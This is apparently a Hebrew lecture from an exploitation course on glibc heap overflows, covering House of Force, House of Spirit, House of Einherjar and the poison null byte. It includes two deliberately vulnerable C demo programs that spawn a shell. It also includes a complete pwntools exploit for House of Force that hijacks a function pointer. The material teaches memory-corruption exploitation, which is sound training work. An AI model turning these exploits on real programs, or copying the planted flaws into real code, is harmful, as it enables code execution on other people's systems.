לדלג לתוכן

7.5 גלישת heap וטכניקות House of הרצאה

בשיעורים הקודמים בפרק הזה פירקנו את המקצה של glibc לגורמים: ראינו את מבנה ה-chunk, את ה-tcache וה-fastbins, וכבר ניצלנו use-after-free, double-free ו-unlink. כל אלה נשענו על שחרור שגוי של מצביע. עכשיו נסתכל על משפחה אחרת של באגים - overflow של ממש בתוך ה-heap, כשכתיבה overflows מ-chunk אחד אל ה-chunk שמעליו ודורסת את המטא-דאטה שלו. מתוך הoverflow הזו נצמחה משפחה שלמה של טכניקות עם שמות ציוריים - House of Force, House of Spirit, House of Einherjar - וגם הבאג האמיתי והנפוץ ביותר בשטח, ה-poison null byte. בהרצאה הזו נבין מה כל אחת מהן דורשת, מה היא נותנת, ובאיזו גרסת glibc היא עדיין עובדת.

גלישת heap אל chunk שכן - heap overflow

גלישת heap היא בדיוק מה שהיא נשמעת: כותבים לתוך chunk יותר בתים ממה שהוקצה לו, והכתיבה דולפת אל ה-chunk הפיזי שמעליו. בניגוד למחסנית, כאן אין return address שמחכה מעל הbuffer. במקום זה יש את המטא-דאטה של המקצה עצמו. בואו ניזכר איך שני chunks שכנים יושבים בזיכרון:

כתובות נמוכות
+---------------------------+  <-- chunk A (מוקצה)
| prev_size / נתונים של A    |
+---------------------------+
| size = 0x21  (A)          |
+---------------------------+  <-- mem של A (מה ש-malloc החזיר)
| נתוני המשתמש של A          |
| ...                       |
+===========================+  <-- chunk B (השכן הפיזי)
| prev_size (B)             |  <-- גולשים לכאן קודם
+---------------------------+
| size (B)  + דגלים         |  <-- ואז לכאן - הזהב של התוקף
+---------------------------+  <-- mem של B
| fd (B) / נתוני B          |
+---------------------------+
כתובות גבוהות

הכתיבה מתחילה ב-mem של A ומתקדמת כלפי מעלה, לכיוון כתובות גבוהות. הדבר הראשון שהיא פוגשת מעבר לגבול של A הוא ה-prev_size של B, ומיד אחריו שדה ה-size של B. שני השדות האלה הם בדיוק מה שהמקצה קורא כדי לקבל החלטות. אם אנחנו שולטים בהם, אנחנו משפיעים על הלוגיקה הפנימית של malloc ו-free.

דריסת נתונים לעומת דריסת מטא-דאטה

חשוב להפריד בין שני סוגי exploit של אותה overflow, כי הם דורשים עבודה שונה לגמרי.

הסוג הראשון הוא דריסת נתונים של ה-chunk השכן. אם ב-B יש, למשל, מצביע לפונקציה, אורך של buffer, או אינדקס - הoverflow מ-A פשוט דורסת אותם. זו החולשה הכי נוחה לexploit, כי אנחנו לא נלחמים בשום בדיקה של המקצה. אם התוכנית שומרת ב-heap struct עם מצביע ל-callback, overflow שמחליפה את המצביע נותנת חטיפת זרימה ישירה, בלי לגעת ב-malloc בכלל. תמיד תשאלו קודם: האם יש נתונים שימושיים ב-chunk השכן? זה הפתרון הפשוט ביותר.

הסוג השני הוא דריסת מטא-דאטה - שדה ה-size והדגלים. זה מסובך יותר, כי עכשיו אנחנו משחקים בתוך הכללים של glibc: כל בדיקת שפיות שהמקצה עושה עלולה לתפוס אותנו. אבל דווקא כאן מסתתר הכוח. שליטה בשדה ה-size וב-prev_size היא השער אל כל משפחת ה-House of. את שאר ההרצאה נקדיש לסוג הזה.

שדה הגודל ודגלי הבקרה - size field

נזכיר את מה שכבר ראינו ב-7.1, כי הכל מסתובב סביבו. שדה ה-size של chunk הוא שמונה בתים, אבל שלושת הביטים התחתונים שלו אינם חלק מהגודל - הם דגלים, כי כל גודל chunk aligned ל-16 ולכן הביטים התחתונים תמיד אפס:

size = 0x0000000000000211
                        ^^^
                        | | +-- PREV_INUSE (P)   : האם ה-chunk הקודם בשימוש
                        | +---- IS_MMAPPED  (M)  : הוקצה דרך mmap
                        +------ NON_MAIN_ARENA (A): שייך ל-arena משני

הדגל שיעניין אותנו יותר מכל הוא PREV_INUSE (הביט 0x1). הוא מספר למקצה אם ה-chunk הפיזי שמתחת ל-chunk הנוכחי עדיין בשימוש. אם הוא כבוי, glibc מסיק שה-chunk שמתחת פנוי, ובזמן free ינסה לאחד איתו לאחור - וזה בדיוק המנוף של House of Einherjar ושל ה-poison null byte.

הנקודה המרכזית: כשגולשים מ-A אל שדה ה-size של B, אפשר לשנות גם את הגודל שהמקצה חושב שיש ל-B, וגם את הדגלים. שתי היכולות האלה - לזייף גודל ולזייף את ביט ה-PREV_INUSE - הן הבסיס לכל מה שבא עכשיו.

משפחת ה-House of - סקירה

השם "House of" הגיע ממאמר קלאסי משנת 2005 בשם "The Malloc Maleficarum", שנתן כינויים ציוריים לטכניקות שונות לexploit המקצה. כל טכניקה מתקיפה חוליה אחרת בלוגיקה של glibc. ההיגיון המשותף: לגרום ל-malloc להחזיר מצביע לכתובת שאנחנו בוחרים, או לגרום ל-free לאחד chunks בצורה שיוצרת חפיפה שאנחנו שולטים בה. מרגע שיש לנו allocation בכתובת שרירותית, הדרך לחטיפת זרימה קצרה - דורסים __malloc_hook, כניסת GOT, מצביע לפונקציה, או return address על המחסנית.

לפני שנצלול, טבלה קצרה שתשמור אתכם ממוקדים:

טכניקה מה צריך מה מקבלים עובד עד
House of Force דריסת size של top chunk + malloc בגודל נשלט malloc בכתובת שרירותית glibc 2.28
House of Spirit לשחרר מצביע שאנחנו שולטים בו + לזייף chunk malloc מחזיר chunk מזויף שלנו עד היום (קל יותר עם tcache)
House of Einherjar off-by-one על PREV_INUSE + שליטה ב-prev_size איחוד לאחור אל chunk מזויף קשה מ-2.29
poison null byte הoverflow בית null יחיד מעבר לbuffer חפיפת chunks קשה מ-2.29

עכשיו אחת-אחת.

מתקפת House of Force

ה-top chunk (או ה-wilderness) הוא ה-chunk הגדול שממנו malloc חותך הקצאות כשאין bin שמתאים. הרעיון של House of Force פשוט ומרושע: אם נדרוס את שדה ה-size של ה-top chunk בערך ענק (למשל 0xffffffffffffffff), נשכנע את malloc שה-top הוא כמעט אינסופי. מאותו רגע, כל בקשת malloc - לא משנה כמה גדולה - תעבור את בדיקת הגודל של ה-top, ו-malloc "יחתוך" מה-top ויקדם את מצביע ה-top בדיוק במספר הבתים שביקשנו. אם נבחר את הגודל בקפידה, נוכל להזיז את ה-top לכל כתובת שנרצה, וההקצאה הבאה תיפול בדיוק שם.

התנאים המוקדמים

כדי ש-House of Force יעבוד צריך שלושה דברים:

  1. הoverflow שמגיעה עד שדה ה-size של ה-top chunk, כדי לדרוס אותו ל--1.
  2. שליטה בגודל של קריאת malloc אחת אחרי הדריסה - זו הבקשה שמזיזה את ה-top.
  3. ידיעת הכתובת של ה-top chunk (בדרך כלל דרך leak כתובת heap) ושל היעד.

החישוב

נסמן ב-top את הכתובת של כותרת ה-top chunk (המקום שבו יושב שדה ה-size), וב-target את הכתובת שאנחנו רוצים ש-malloc יחזיר בהקצאה הבאה. malloc מחזיר תמיד מצביע שהוא top + 0x10 של ה-chunk שנחתך, ומקדם את ה-top ב-nb (הגודל הaligned של הבקשה). לכן, כדי שאחרי הקצאה אחת ה-top יגיע ל-target - 0x10, נבקש:

evil_size = target - 0x10 - top

אם target נמוך מ-top (למשל היעד הוא ב-bss וה-heap גבוה ממנו), ההפרש שלילי - וכאן נכנס ה-"Force": בחשבון של unsigned 64-bit הערך "מתגלגל" למספר ענק, וזה בסדר גמור, כי הגדרנו את ה-top כאינסופי. הזזה כזו מחזירה את ה-top אחורה, אל היעד. חשוב: היעד חייב להיות aligned ל-16, כי malloc תמיד מחזיר מצביעים aligned.

before:                             after malloc(evil_size):
+------------------+ top           +------------------+ target-0x10  (the new top)
| size = -1        |               | size = remainder |
+------------------+               +------------------+ target
| the wilderness   |               | the next          |
|                  |               | allocation lands  |
+------------------+               | right here        |
                                   +------------------+

דמו והרצה

הנה בינארי קטן שממחיש הכל. הוא leaks כתובת heap, נותן overflow שמגיעה ל-top, קורא גודל malloc מהמשתמש, ולבסוף קורא ל-hook אם דרסנו אותו:

// hof.c
// gcc -fno-stack-protector -no-pie -o hof hof.c   (glibc <= 2.28)
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void win() { system("/bin/sh"); }                 // not called normally
void (*hook)(void) __attribute__((aligned(0x10))); // pointer in bss, aligned to 16

int main() {
    setvbuf(stdout, NULL, _IONBF, 0);
    char *a = malloc(0x18);                        // chunk A; the top sits right above it
    printf("[leak] a = %p\n", a);                  // leak of a heap address
    printf("[1] overflow: ");
    read(0, a, 0x100);                             // overflow: overwrites the size of the top
    printf("[2] size: ");
    unsigned long n; scanf("%lu", &n);
    malloc(n);                                     // controlled size - moves the top
    printf("[3] data: ");
    char *p = malloc(0x18);                        // returns target = &hook
    read(0, p, 0x18);                              // write the address of win there
    if (hook) hook();                              // hook == win  ->  shell
    return 0;
}

בודקים הגנות:

$ checksec --file=./hof
RELRO           STACK CANARY   NX            PIE
Partial RELRO   No canary      NX enabled    No PIE

מכיוון שאין PIE, הכתובות של win ו-hook קבועות, ואין צורך בleak libc. ה-exploit המלא:

#!/usr/bin/env python3
from pwn import *

context.binary = elf = ELF('./hof')
p = process('./hof')

leak = int(p.recvline_startswith(b'[leak]').split(b'= ')[1], 16)
top  = leak + 0x10                         # A is size 0x20, so top is right after it
target = elf.symbols['hook']               # target aligned to 16 in bss
log.info('heap A   = %#x', leak)
log.info('top chunk= %#x', top)
log.info('target   = %#x', target)

# step 1 - overflow that overwrites the size of the top to -1
p.recvuntil(b'[1] overflow: ')
p.send(b'A' * 0x18 + p64(0xffffffffffffffff))

# step 2 - malloc with a size that moves the top to target-0x10
evil_size = (target - 0x10 - top) & 0xffffffffffffffff
p.recvuntil(b'[2] size: ')
p.sendline(str(evil_size).encode())

# step 3 - the next allocation returns target=&hook, write win there
p.recvuntil(b'[3] data: ')
p.send(p64(elf.symbols['win']))

p.interactive()

בזמן פיתוח תמיד מאמתים את ההזזה ב-gdb. אחרי ה-malloc(evil_size), בדקו את מצביע ה-top עם top או heap ב-pwndbg. אם ה-top לא נחת בדיוק על target - 0x10, כווננו את evil_size בהפרש שאתם רואים (בדרך כלל 0x8 או 0x10, בגלל עיגול של request2size).

המגבלה - למה זה מת ב-glibc 2.29

ב-glibc 2.29 נוספה בדיקה פשוטה ב-_int_malloc: לפני שחותכים מה-top, המקצה מוודא שגודל ה-top אינו גדול מכמות הזיכרון הכוללת של ה-arena (chunksize(top) <= av->system_mem). ה-size = -1 שלנו נופל מיד בבדיקה הזו, והתוכנית מתה עם malloc(): corrupted top size. לכן House of Force הוא טכניקה שעובדת עד glibc 2.28 (Ubuntu 18.04 וישן יותר). על glibc מודרני נעבור ל-House of Spirit או לתקיפות tcache שנראה בשיעור הבא.

מתקפת House of Spirit

הטכניקה House of Spirit הולכת מהכיוון ההפוך. במקום להטעות את malloc, מטעים את free. הרעיון: מזייפים chunk בזיכרון שאנחנו שולטים בו (מחסנית, bss, או chunk קיים), משכנעים את התוכנית לקרוא free על המצביע המזויף, וה-chunk נכנס ל-bin. אחר כך, כשהתוכנית תקרא malloc באותו גודל, היא תשלוף בחזרה את ה-chunk המזויף שלנו ותחזיר מצביע לכתובת שבחרנו.

התנאים המוקדמים

  1. היכולת לגרום ל-free על מצביע שאנחנו שולטים בו - או שהתוכנית משחררת מצביע שאנחנו קובעים, או שיש UAF שנותן לנו לשלוט בתוכן לפני ה-free.
  2. מקום כתיב לזייף בו את ה-chunk - צריך לכתוב שדה size תקין בכתובת שלפני ה-mem המזויף.

הבדיקות שצריך לעבור

בגרסאות ישנות (בלי tcache), free שולח chunk קטן ל-fastbin, ובודק כמה דברים. שדה ה-size של ה-chunk המזויף חייב להיות בטווח fastbin (עד 0x80 כברירת מחדל) וaligned. וחשוב במיוחד: ה-chunk הפיזי הבא (בכתובת fake + size) חייב גם הוא להחזיק שדה size "הגיוני" - גדול מ-0x10 וקטן מ-av->system_mem. לכן בזיוף fastbin צריך לצייר גם "chunk הבא" עם גודל תקין:

address        content                    why
fake+0x00      prev_size (not checked)     padding
fake+0x08      size = 0x41                valid fastbin size + PREV_INUSE
fake+0x10      <-- free(fake+0x10)         this is the pointer passed to free
...
fake+0x40      prev_size of the "next"     padding
fake+0x48      size = 0x41                to pass the size check of the next chunk

הנה החדשות הטובות: מאז glibc 2.26, chunk בגודל tcache נכנס קודם כל ל-tcache, ומסלול ה-tcache ב-_int_free כמעט לא בודק כלום. הוא מוודא alignment וש-size >= 0x20, ומאז 2.29 מוסיף בדיקת מפתח נגד double-free - אבל אין בו את בדיקת ה-size של ה-chunk הבא. כלומר, על glibc מודרני House of Spirit קל בהרבה: מספיק לזייף chunk עם שדה size תקין בטווח tcache (למשל 0x41), לשחרר אותו, ו-malloc באותו גודל יחזיר אותו. לא צריך לצייר "chunk הבא".

דמו

בינארי שנותן לנו לזייף chunk על המחסנית ולשחרר מצביע לבחירתנו:

// hos.c
// gcc -fno-stack-protector -no-pie -o hos hos.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void win() { system("/bin/sh"); }

int main() {
    setvbuf(stdout, NULL, _IONBF, 0);
    unsigned long fake[16];
    printf("[stack] fake = %p\n", (void*)fake);   // leak of a stack address
    printf("[1] setup: ");
    read(0, fake, sizeof(fake));                   // drawing the fake chunk here
    printf("[2] free: ");
    unsigned long ptr; scanf("%lu", &ptr);
    free((void*)ptr);                              // House of Spirit
    printf("[3] data: ");
    char *q = malloc(0x30);                        // returns our fake chunk
    read(0, q, 0x100);                             // writing from it onward on the stack
    return 0;
}

הרעיון בexploit: מציירים size = 0x41 ב-fake[1], משחררים את &fake[2], וה-chunk המזויף נכנס ל-tcache של גודל 0x40. הקריאה malloc(0x30) מחזירה את &fake[2] - מצביע אל תוך המחסנית. עכשיו ה-read האחרון overflows מ-&fake[2] והלאה, דורס את return address של main, ומכוון אותה ל-win. את ה-offset המדויק מ-&fake[2] עד return address מודדים עם cyclic, בדיוק כמו boverflow מחסנית רגיל. את הפיצוח המלא נבנה בתרגול.

מתי זה מתאים

הטכניקה House of Spirit זורחת כשיש לנו שליטה על מה שמשוחרר, אבל אין לנו UAF נקי או double-free. הוא הופך "free שרירותי" ל-"malloc שרירותי". יעד קלאסי: לזייף chunk על המחסנית כדי לקבל allocation שחופף לreturn address, או לזייף chunk שחופף ל-struct רגיש.

מתקפת House of Einherjar

הטכניקה House of Einherjar היא צעד יותר מתוחכם, ומופעלת על ידי הבאג הכי צנוע שיש - off-by-one. נניח שoverflow נותנת לנו לכתוב בית אחד בלבד מעבר לbuffer. הבית הזה נופל בדיוק על הבית הנמוך של שדה ה-size של ה-chunk הבא. אם נאפס אותו, אנחנו מכבים את ביט ה-PREV_INUSE (0x1) של ה-chunk הבא.

מה קורה כשמכבים את PREV_INUSE ואז משחררים את אותו chunk? glibc מסיק שה-chunk הפיזי שמתחתיו פנוי, ומנסה לאחד איתו לאחור. כדי למצוא את תחילת ה-chunk הקודם, הוא קורא את שדה ה-prev_size ומחשב:

prev_chunk = P - prev_size(P)

וכאן הקסם: אם אנחנו שולטים גם ב-prev_size (הוא יושב בשטח הנתונים של ה-chunk שלנו, אז הoverflow כותבת אותו), נוכל לגרום ל-glibc לחשב prev_chunk שמצביע אל chunk מזויף שהכנו - למשל ב-bss או במקום אחר ב-heap. glibc ינסה לבצע unlink על ה-chunk המזויף הזה. אם ציירנו בו fd ו-bk שעוברים את בדיקות ה-unlink (fd->bk == p ו-bk->fd == p), האיחוד מצליח, וה-chunk המשוחרר "נבלע" לתוך האזור המזויף שלנו - מה שנותן chunk ענק שחופף לזיכרון שאנחנו שולטים בו.

התנאים המוקדמים

  1. off-by-one (או overflow קצרה) שמכבה את PREV_INUSE של ה-chunk הבא.
  2. שליטה ב-prev_size של אותו chunk.
  3. chunk מזויף במקום ידוע, עם fd/bk שעוברים unlink (בדרך כלל בונים אותו כך ש-fd = bk = &fake עצמו, טריק ה-"self-linking").

המגבלה

ב-glibc 2.29 נוספה בדיקת עקביות: בזמן איחוד לאחור, glibc מוודא ש-prev_size(next) == chunksize(p) של ה-chunk שהוא עומד לבלוע. הבדיקה הזו מקשה מאוד על Einherjar הקלאסי, כי היא מכריחה את התוקף לסדר גדלים תואמים. עדיין יש עקיפות, אבל הן מעבר לשיעור הזה.

הרעלת בית אפס - poison null byte

זו לא באמת "House" חדשה, אלא הביטוי המעשי והנפוץ ביותר של הרעיון של Einherjar. הבאג: הרבה פונקציות מחרוזת כותבות בית \x00 מסיים אחד מעבר לגבול הbuffer. זה off-by-one קלאסי בעולם האמיתי - strcpy, לולאת העתקה עם <= במקום <, וכדומה. הבית האפס נופל על הבית הנמוך של שדה ה-size של ה-chunk הבא.

בגלל שכל הגדלים aligned ל-16, לביט האפס הזה יש אפקט כפול. קחו chunk פנוי עם size = 0x211 (כלומר גודל 0x210 עם PREV_INUSE דלוק). אפוס הבית הנמוך הופך אותו ל-0x200: גם כיבינו את PREV_INUSE, וגם הקטנּו את הגודל מ-0x210 ל-0x200. עכשיו יש חוסר עקביות בין מה שהמקצה חושב על ה-chunk לבין מה שבאמת יש שם, ומתוך הפער הזה בונים chunks חופפים:

before poison:                       after zeroing the low byte:
+------------------+                +------------------+
| chunk of size 0x210 |             | thinks size is 0x200 |
| (PREV_INUSE=1)   |                | (PREV_INUSE=0)   |
+------------------+                +------------------+
                                    the 16 "extra" bytes fall
                                    between what the allocator counts and
                                    reality -> overlap

בטכניקה המלאה (מוכרת גם כ-"shrink free chunk"), משתמשים בפער כדי לגרום לשני מצביעים חוקיים להצביע לאזורי זיכרון חופפים. מרגע שיש חפיפה, אפשר לכתוב דרך chunk אחד ולשנות מטא-דאטה או fd של chunk אחר שנראה למקצה תמים - וזה מוביל בקלות ל-tcache/fastbin poisoning ולכתיבה שרירותית. גם כאן בדיקת ה-prev_size == chunksize מ-glibc 2.29 חסמה את הגרסה הפשוטה, אבל ה-poison null byte נשאר אחד הבאגים הכי שכיחים בקוד אמיתי, ושווה לזהות אותו מיד.

מתי כל טכניקה מתאימה

  • ראיתם גלישת heap והשכן מחזיק נתונים שימושיים (מצביע לפונקציה, אורך)? דרסו אותם ישירות. אל תסבכו.
  • יש לכם overflow עד ה-top chunk ו-malloc בגודל נשלט, על glibc ישן? House of Force נותן malloc שרירותי במכה אחת.
  • יש לכם free על מצביע שאתם שולטים בו בלי double-free/UAF? House of Spirit הופך אותו ל-malloc שרירותי. עם tcache זה קל במיוחד.
  • יש לכם off-by-one (או בית null בודד) על שדה ה-size של השכן? זה עולם ה-Einherjar / poison null byte - כיבוי PREV_INUSE ואיחוד לאחור אל chunk מזויף.

בכל המקרים, כדאי קודם לבדוק את גרסת ה-glibc של המטרה (ldd --version או strings libc.so.6 | grep 'GNU C'), כי היא קובעת אילו טכניקות בכלל אפשריות.

סיכום

  • גלישת heap דורסת את המטא-דאטה או הנתונים של ה-chunk השכן. דריסת נתונים פשוטה; דריסת מטא-דאטה פותחת את משפחת ה-House of.
  • שדה ה-size והדגל PREV_INUSE הם הצירים שסביבם הכל סובב.
  • House of Force - דורסים את size של ה-top ל--1, ואז malloc בגודל target - 0x10 - top מזיז את ה-top לכל כתובת. מת ב-glibc 2.29 בגלל בדיקת גודל ה-top.
  • House of Spirit - מזייפים chunk, משחררים אותו, ו-malloc מחזיר אותו. הופך free שרירותי ל-malloc שרירותי. קל במיוחד דרך tcache, שכמעט לא בודק.
  • House of Einherjar - off-by-one שמכבה PREV_INUSE, plus שליטה ב-prev_size, מפעיל איחוד לאחור אל chunk מזויף. קשה מ-glibc 2.29 בגלל בדיקת prev_size == chunksize.
  • poison null byte - הביטוי האמיתי של Einherjar: בית null בודד מקטין ומכבה PREV_INUSE, ויוצר chunks חופפים. הבאג הנפוץ ביותר בשטח.
  • תמיד לבדוק את גרסת ה-glibc לפני שבוחרים טכניקה.